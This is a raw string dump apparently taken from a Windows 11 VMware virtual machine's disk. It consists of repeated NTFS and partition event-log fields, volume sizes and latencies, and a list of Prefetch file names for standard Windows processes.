\Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 22.81 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 42 GB 48.52 GB 6.52 GB 1.15 GB 59.04 GB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 114.73 MB 118.73 MB 4 MB 0 Bytes 769 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 60 KB 60 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_00001 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 95.92 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 41.21 GB 42.02 GB 827.44 MB 1.15 GB 59.04 GB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 34 ms 16 ms 15 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 44 KB 44 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 3 ms 2 ms 1 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 22.81 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 41.05 GB 47.29 GB 6.24 GB 1.15 GB 59.04 GB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 114.73 MB 118.73 MB 4 MB 0 Bytes 769 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 38.55 GB 60 KB 60 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000$ Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 95.92 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 37.89 GB 56 KB 56 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 227 ms 210 ms 9 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 36.68 GB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 5 ms 2 ms 2 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 22.81 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 39.56 GB 45.69 GB 6.14 GB 1.15 GB 59.04 GB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 114.73 MB 118.73 MB 4 MB 0 Bytes 769 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 36.68 GB 60 KB 60 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000$ Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 95.92 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 65 ms 32 ms 17 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 36.68 GB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 9 ms 2 ms 2 ms Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 22.81 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 39.49 GB 45.61 GB 6.12 GB 1.15 GB 59.04 GB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 114.73 MB 118.73 MB 4 MB 0 Bytes 769 MB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \Device\HarddiskVolume3 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 36.68 GB 60 KB 60 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational 0\\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000; Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 VMware Virtual NVMe Disk VMWare NVME_0000 VMWare NVME_0000 95.92 MB 0 Bytes 4 KB Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/WHC EventData Data hc_stateid 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/WHC 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/WHC Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/WHC 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/WHC Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/WHC Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/WHC Microsoft-Windows-Ntfs Microsoft-Windows-Ntfs/WHC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Partition Microsoft-Windows-Partition/Diagnostic EventData Data DiskNumber Flags Characteristics IsSystemCritical PagingCount HibernationCount DumpCount OfflineReason Attributes PersistentAttributes Owner BytesPerSector Capacity BusType Manufacturer Model Revision SerialNumber Location ParentId Socket Slot Device Function Adapter Port Target IoctlSupport IdFlags DiskId AdapterId RegistryId PoolId FirmwareSupportsUpgrade FirmwareSlotCount StorageIdCount StorageIdCodeSet StorageIdType StorageIdAssociation StorageIdBytes StorageId WriteCacheType WriteCacheEnabled WriteCacheChangeable WriteThroughSupported FlushCacheSupported IsPowerProtected NVCacheEnabled BytesPerLogicalSector BytesPerPhysicalSector BytesOffsetForSectorAlignment IncursSeekPenalty IsTrimSupported IsThinProvisioned OptimalUnmapGranularity UnmapAlignment NumberOfLogicalCopies NumberOfPhysicalCopies FaultTolerance NumberOfColumns InterleaveBytes HybridSupported HybridCacheBytes AdapterMaximumTransferBytes AdapterMaximumTransferPages AdapterAlignmentMask AdapterSerialNumber PortDriver UserRemovalPolicy PartitionStyle PartitionCount PartitionTableBytes PartitionTable MbrBytes Ebr0Bytes Ebr0 Ebr1Bytes Ebr1 Ebr2Bytes Ebr2 Ebr3Size Ebr3 NULL VMware Virtual NVMe Disk VMWare NVME_0000 nvme0 PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 VMWare NVME_0000 Basic data partition Microsoft reserved partition Basic data partition Microsoft-Windows-Partition Microsoft-Windows-Partition/Diagnostic NULL VMware Virtual NVMe Disk VMWare NVME_0000 nvme0 PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 VMWare NVME_0000 Basic data partition Microsoft reserved partition Basic data partition Microsoft-Windows-Partition Microsoft-Windows-Partition/Diagnostic NULL VMware Virtual NVMe Disk VMWare NVME_0000 nvme0 PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 VMWare NVME_0000 Basic data partition Microsoft reserved partition Basic data partition 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Partition Microsoft-Windows-Partition/Diagnostic NULL VMware Virtual NVMe Disk VMWare NVME_0000 nvme0 PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 VMWare NVME_0000 Basic data partition Microsoft reserved partition Basic data partition 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Partition Microsoft-Windows-Partition/Diagnostic NULL VMware Virtual NVMe Disk VMWare NVME_0000 nvme0 PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 VMWare NVME_0000 Basic data partition Microsoft reserved partition Basic data partition Microsoft-Windows-Partition Microsoft-Windows-Partition/Diagnostic NULL VMware Virtual NVMe Disk VMWare NVME_0000 nvme0 PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 VMWare NVME_0000 Basic data partition Microsoft reserved partition Basic data partition 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Partition Microsoft-Windows-Partition/Diagnostic NULL VMware Virtual NVMe Disk VMWare NVME_0000 nvme0 PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 VMWare NVME_0000 Basic data partition Microsoft reserved partition Basic data partition Microsoft-Windows-Partition Microsoft-Windows-Partition/Diagnostic NULL VMware Virtual NVMe Disk VMWare NVME_0000 nvme0 PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 VMWare NVME_0000 Basic data partition Microsoft reserved partition Basic data partition Microsoft-Windows-Partition Microsoft-Windows-Partition/Diagnostic NULL VMware Virtual NVMe Disk VMWare NVME_0000 nvme0 PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 VMWare NVME_0000 Basic data partition Microsoft reserved partition Basic data partition Microsoft-Windows-Partition Microsoft-Windows-Partition/Diagnostic NULL VMware Virtual NVMe Disk VMWare NVME_0000 nvme0 PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 VMWare NVME_0000 Basic data partition Microsoft reserved partition Basic data partition Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name SecondsElapsed Data Name HighLatencyCount Data Name FailedWriteCount Data Name FailedReadCount Data Name BadClusterHotfixCount Data Name ValuesCount Data Name HighLatencyArray Data Name FailedWriteArray Data Name FailedReadArray Data Name BadClusterHotfixArray Data Name StatusArray Data Name TableIndexArray VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber SecondsElapsed HighLatencyCount FailedWriteCount FailedReadCount BadClusterHotfixCount ValuesCount HighLatencyArray FailedWriteArray FailedReadArray BadClusterHotfixArray StatusArray TableIndexArray EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name SecondsElapsed Data Name HighLatencyCount Data Name FailedWriteCount Data Name FailedReadCount Data Name BadClusterHotfixCount Data Name ValuesCount Data Name HighLatencyArray Data Name FailedWriteArray Data Name FailedReadArray Data Name BadClusterHotfixArray Data Name StatusArray Data Name TableIndexArray VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber SecondsElapsed HighLatencyCount FailedWriteCount FailedReadCount BadClusterHotfixCount ValuesCount HighLatencyArray FailedWriteArray FailedReadArray BadClusterHotfixArray StatusArray TableIndexArray EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxLatencyMs Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name IoType Data Name IoSize Data Name FileOffset Data Name LatencyMs Data Name StartingLcn Data Name ClustersCount Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxLatencyMs ProcessId ProcessName FileNameLength FileName IoType IoSize FileOffset LatencyMs StartingLcn ClustersCount DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxLatencyMs Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name FileIdHigh Data Name FileIdLow Data Name IoType Data Name IoTypeStr Data Name IoSize Data Name FileOffset Data Name LatencyMs Data Name StartingLcn Data Name ClustersCount Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxLatencyMs ProcessId ProcessName FileNameLength FileName FileIdHigh FileIdLow IoType IoTypeStr IoSize FileOffset LatencyMs StartingLcn ClustersCount DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxLatencyMs Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name FileIdHigh Data Name FileIdLow Data Name IoType Data Name IoTypeStr Data Name IoSize Data Name FileOffset Data Name LatencyMs Data Name StartingLcn Data Name ClustersCount Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxLatencyMs ProcessId ProcessName FileNameLength FileName FileIdHigh FileIdLow IoType IoTypeStr IoSize FileOffset LatencyMs StartingLcn ClustersCount DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxLatencyMs Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name FileIdHigh Data Name FileIdLow Data Name IoType Data Name IoTypeStr Data Name LatencyMs Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxLatencyMs ProcessId ProcessName FileNameLength FileName FileIdHigh FileIdLow IoType IoTypeStr LatencyMs DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxLatencyMs Data Name ProcessId Data Name ProcessName Data Name FileNameLength Data Name FileName Data Name FileIdHigh Data Name FileIdLow Data Name IoType Data Name IoTypeStr Data Name LatencyMs Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxLatencyMs ProcessId ProcessName FileNameLength FileName FileIdHigh FileIdLow IoType IoTypeStr LatencyMs DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber EventData Data Name Version Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name TierIndex Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name MaxLatencyMs Data Name ReadWriteLatencyBucket1 Data Name ReadWriteLatencyBucket2 Data Name ReadWriteLatencyBucket3 Data Name ReadWriteLatencyBucket4 Data Name ReadWriteLatencyBucket5 Data Name ReadWriteLatencyBucket6 Data Name ReadWriteLatencyBucket7 Data Name TrimLatencyBucket1 Data Name TrimLatencyBucket2 AM_DELTA_PATCH_1.445.172.0.EX-96863118.pf AM_DEL~1.PF APPACTIONS.EXE-A398FF53.pfC APPACT~1.PF APPLICATIONFRAMEHOST.EXE-8CE9A1EE.pf APPLIC~1.PF AUDIODG.EXE-AB22E9A6.pf AUDIOD~1.PF BA00B5~1.PF BA1F43~1.PF BA3E8A~1.PF BACFA6~1.PF BACKGROUNDTASKHOST.EXE-0F002CF7.pf BACKGROUNDTASKHOST.EXE-4870EBCE.pf BACKGROUNDTASKHOST.EXE-4B6C6D52.pf BACKGROUNDTASKHOST.EXE-73D4DD91.pf BACKGROUNDTASKHOST.EXE-B5843F11.pf BACKGROUNDTASKHOST.EXE-C0EA4D6C.pf BACKGROUNDTASKHOST.EXE-CAD1DF16.pf BACKGROUNDTRANSFERHOST.EXE-7797177F.pf BACKGROUNDTRANSFERHOST.EXE-DEF58778.pf BACKGR~1.PF CMDEXE~1.PF COMPATTELRUNNER.EXE-B7A68ECC.pf COMPAT~1.PF COMREG.EXE-B18E07FD.pff COMREG~1.PF CONHOST.EXE-0C6456FB.pf CONHOS~1.PF CONSENT.EXE-40419367.pf CONSEN~1.PF WLRMDR~1.PF MONOTI~1.PF MOUSOCOREWORKER.EXE-44A01CE7.pf MOUSOC~1.PF MPAM-FE.EXE-8506E18C.pf MPAM-F~1.PF MPCMDRUN.EXE-2C9109F9.pf MPCMDRUN.EXE-EFB0FDF1.pf MPCMDR~1.PF MPCMDR~2.PF MPDEFENDERCORESERVICE.EXE-B97C4797.pf MPDEFE~1.PF MPRECOVERY.EXE-575BD70D.pf MPRECO~1.PF MPSIGSTUB.EXE-5D0450B3.pf MPSIGSTUB.EXE-7C0658D5.pf MPSIGSTUB.EXE-7CDF3837.pf MPSIGSTUB.EXE-E6B2483B.pf MPSIGS~1.PF MPSIGS~2.PF MPSIGS~3.PF MPSIGS~4.PF MREMOTENG.EXE-610BBBDA.pf MREMOT~1.PF MRT.EXE-46668014.pf MRTEXE~1.PF MS0888~1.PF MSED90~1.PF MSEDGE.EXE-37D25F9A.pf4 MSEDGE.EXE-37D25F9B.pf4 MSEDGE.EXE-37D25F9C.pf4 MSEDGE.EXE-37D25F9E.pf4 MSEDGE.EXE-37D25FA4.pf4 MSEDGE.EXE-37D25FA5.pf4 SE9F8B~1.PF SETUPE~2.PF SETUPE~3.PF SETUPE~4.PF SHUTDOWN.EXE-1692B741.pf.pf SHUTDO~1.PF SIHCLIENT.EXE-98C47F6C.pf SIHCLI~1.PF SLUI.EXE-3E441AEE.pf125 SLUIEX~1.PF SMARTSCREEN.EXE-EACC1250.pf SMARTS~1.PF SMSS.EXE-B5B810DB.pfpf SMSSEX~1.PF SPPEXTCOMOBJ.EXE-7D45A1AB.pfX SPPEXT~1.PF SPPSVC.EXE-96070FE0.pf SPPSVC~1.PF STOREDESKTOPEXTENSION.EXE-DF19039B.pf STORED~1.PF SV0DBA~1.PF SV0F69~1.PF SV0FB5~1.PF SV1421~1.PF SV46E9~1.PF SV63E6~1.PF SV6BFF~1.PF SV74D9~1.PF SV8E27~1.PF SV9611~1.PF SVCHOST.EXE-EA9BB143.pf SVCHOST.EXE-EBBF67E6.pf SVCHOST.EXE-F6EF00D7.pf SVCHOS~1.PF SVCHOS~2.PF SVCHOS~3.PF 1.PF SVD4F1~1.PF SVDA76~1.PF SVE9B2~1.PF SVF442~1.PF SVFCC2~1.PF SYSTEMSETTINGS.EXE-AD6D6913.pf SYSTEM~1.PF TASKHOSTW.EXE-2E5D4B75.pfFF TASKHO~1.PF TASKKILL.EXE-BE180FC8.pfEFF TASKKI~1.PF TIWORKER.EXE-FAC3BBDA.pfEFF TIWORK~1.PF TRUSTEDINSTALLER.EXE-766EFF52.pfX TRUSTE~1.PF UPDATEPLATFORM.EXE-9B16055C.pf UPDATE~1.PF USEROOBEBROKER.EXE-65584ADF.pf USEROO~1.PF USOCLIENT.EXE-4ADC110B.pfpf USOCLI~1.PF VCREDIST_X64.EXE-A52B6D54.pff VCREDI~3.PF VCREDI~4.PF VC_REDIST.X64.EXE-7F0E2AFC.pf VC_REDIST.X86.EXE-919BF13D.pf VC_RED~1.PF VC_RED~2.PF VGAUTHSERVICE.EXE-779D9D39.pf VGAUTH~1.PF VMTOOLSD.EXE-90328040.pf VMTOOL~1.PF WERMGR.EXE-BE3A79B5.pfE DLLHOS~1.PF DLLHOS~2.PF DLLHOS~3.PF DLLHOS~4.PF DRVINST.EXE-39D9EAC7.pf DRVINS~1.PF DSMUSERTASK.EXE-853A6893.pf DSMUSE~1.PF DWM.EXE-314E93C5.pf DWMEXE~1.PF ELEVATION_SERVICE.EXE-91B66286.pf ELEVAT~1.PF FILECOAUTH.EXE-27A81C41.pf4 FILECOAUTH.EXE-F2EB91B6.pf FILECO~1.PF FILECO~2.PF FILESYNCCONFIG.EXE-F4FE2D64.pf FILESYNCCONFIG.EXE-F70DA339.pf FILESY~1.PF FILESY~2.PF FODHELPER.EXE-7F1ED892.pf FODHEL~1.PF FSQUIRT.EXE-A8FF1DEB.pf FSQUIR~1.PF IDENTITY_HELPER.EXE-2349DB73.pf IDENTI~1.PF IPCONFIG.EXE-BFEC2AD0.pf IPCONF~1.PF LOCKAPP.EXE-464513A3.pf LOCKAP~1.PF LOGONUI.EXE-F639BD7E.pf LOGONUI.EXE-F639BD7E.pf B.pf MIDISR~1.PF SEARCHHOST.EXE-6EA0F7AF.pf. SEARCHINDEXER.EXE-1CF42BC6.pf SEARCHPROTOCOLHOST.EXE-69C456C3.pf SEARCH~1.PF SEARCH~2.PF SEARCH~3.PF SEARCH~4.PF SEBC42~1.PF SEC7EF~1.PF SEC9E6~1.PF SECURITYHEALTHHOST.EXE-06344EE9.pf. SECURITYHEALTHHOST.EXE-950D595E.pf. SECURITYHEALTHSERVICE.EXE-91B5FB98.pf SECURITYHEALTHSETUP.EXE-554F8020.pf SECURITYHEALTHSETUP.EXE-E57E89CA.pf SECURITYHEALTHSYSTRAY.EXE-E527A4AE.pf SECURI~1.PF SECURI~2.PF SETUP.EXE-123D9A84.pfpf SETUP.EXE-123D9A88.pfpf SETUP.EXE-28D60B5E.pfpf SETUP.EXE-28D60B62.pfpf SETUP.EXE-6501D470.pfpf SETUP.EXE-6501D474.pf SETUP.EXE-84DB82F4.pf SETUP.EXE-84DB82F8.pf SETUP.EXE-9F182B59.pf SETUP.EXE-CA3E74CA.pf SETUP.EXE-CA3E74CE.pf SETUP.EXE-E6239602.pf SETUP.EXE-E6239606.pf BACKGR~2.PF CSRSS.EXE-F3C368CB.pf DL970B~1.PF DLLHOST.EXE-F7FC6593.pf LOGONU~1.PF MONOTIFICATIONUX.EXE-62024999.pf MS3AAE~1.PF 